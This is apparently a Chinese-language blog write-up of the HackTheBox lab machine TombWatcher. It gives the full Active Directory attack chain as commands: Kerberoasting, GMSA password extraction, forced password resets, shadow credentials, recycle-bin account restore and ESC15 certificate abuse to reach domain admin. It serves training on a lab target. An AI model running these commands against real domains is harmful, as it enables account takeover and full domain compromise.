HTB TombWatker 渗透测试实战 - 从初始访问到域控提权

本文详细记录了HTB TombWatcher靶机的完整渗透测试过程,从初始凭证获取开始,通过Bloodhound分析、Kerberoasting攻击、GMSA密码提取、影子凭证利用、AD回收站恢复账户,最终利用ESC15漏洞获取域管理员权限。

初始侦察

端口扫描

Nmap扫描发现21个开放TCP端口,显示这是一个Windows域控制器:

1
nmap -p- --min-rate 10000 10.10.11.72

关键服务包括:

  • 53/tcp - DNS
  • 80/tcp - HTTP (IIS)
  • 88/tcp - Kerberos
  • 445/tcp - SMB
  • 5985/tcp - WinRM

域名为 tombwatcher.htb,主机名为 DC01

初始凭证

HTB提供初始凭证:

  • 用户名: henry
  • 密码: H3nry_987TGV!

使用netexec验证凭证有效:

1
netexec smb DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!'

信息收集

网站枚举

80端口运行IIS 10.0默认页面,使用feroxbuster进行目录扫描未发现有用信息。

SMB共享

枚举SMB共享显示标准域控制器共享,无特殊文件:

1
netexec smb DC01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' --shares

Bloodhound数据收集

使用RustHound-CE和Bloodhound-Python收集AD数据:

1
2
rusthound-ce -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --zip -c All
bloodhound-ce-python -c all -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --zip

权限提升路径

认证为Alfred用户

定向Kerberoasting攻击

Henry对Alfred有WriteSPN权限,可进行定向Kerberoasting:

1
2
3
4
5
6
7
8
# 添加SPN
bloodyAD -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --host dc01.tombwatcher.htb set object alfred servicePrincipalName -v 'http/whatever'

# 获取Kerberos票据
netexec ldap dc01.tombwatcher.htb -u henry -p 'H3nry_987TGV!' -k --kerberoasting kerberoasting.hashes

# 清理SPN
bloodyAD -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' --host dc01.tombwatcher.htb set object alfred servicePrincipalName

使用hashcat破解哈希获得密码:basketball

认证为ANSIBLE_DEV$

GMSA密码提取

Alfred对Infrastructure组有AddSelf权限,可读取ANSIBLE_DEV$的GMSA密码:

1
2
3
4
5
# 添加Alfred到Infrastructure组
bloodyAD -d tombwatcher.htb -u alfred -p basketball --host dc01.tombwatcher.htb add groupMember Infrastructure alfred

# 读取GMSA密码
netexec ldap dc01.tombwatcher.htb -u alfred -p basketball --gmsa

获得NTLM哈希:1c37d00093dc2a5f25176bf2d474afdc

认证为Sam用户

强制密码更改

ANSIBLE_DEV$对Sam有ForceChangePassword权限:

1
bloodyAD -d tombwatcher.htb -u 'ANSIBLE_DEV$' -p ':1c37d00093dc2a5f25176bf2d474afdc' --host dc01.tombwatcher.htb set password "sam" "0xdf0xdf!"

Shell作为John用户

影子凭证攻击

Sam对John有WriteOwner权限:

1
2
3
4
5
6
7
8
# 设置所有者
bloodyAD -d tombwatcher.htb -u sam -p '0xdf0xdf!' --host dc01.tombwatcher.htb set owner john sam

# 添加GenericAll权限
bloodyAD -d tombwatcher.htb -u sam -p '0xdf0xdf!' --host dc01.tombwatcher.htb add genericAll john sam

# 影子凭证攻击
certipy shadow auto -target dc01.tombwatcher.htb -u sam -p '0xdf0xdf!' -account john

获得John的NTLM哈希:ad9324754583e3e42b55aad4d3b8d2bf

使用WinRM获取shell并读取user flag。

认证为cert_admin

AD回收站恢复

John对ADCS OU有GenericAll权限,可恢复已删除的cert_admin账户:

1
2
3
4
5
6
7
8
# 查找已删除对象
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property objectSid,lastKnownParent

# 恢复cert_admin账户
Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf

# 重置密码
Set-ADAccountPassword cert_admin -NewPassword (ConvertTo-SecureString '0xdf0xdf!' -AsPlainText -Force)

Shell作为Administrator

ESC15漏洞利用

WebServer模板存在ESC15漏洞:

1
2
3
4
5
6
7
8
# 请求证书代理权限
certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn administrator@tombwatcher.htb -application-policies 'Certificate Request Agent'

# 代表Administrator请求User模板证书
certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User -pfx cert_admin.pfx -on-behalf-of 'tombwatcher\Administrator'

# 使用证书认证
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72

获得Administrator的NTLM哈希,通过WinRM获取shell并读取root flag。

总结

TombWatcher靶机展示了完整的Active Directory攻击链,涵盖了Kerberoasting、GMSA利用、影子凭证、AD回收站恢复和ESC15漏洞利用等关键技术。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计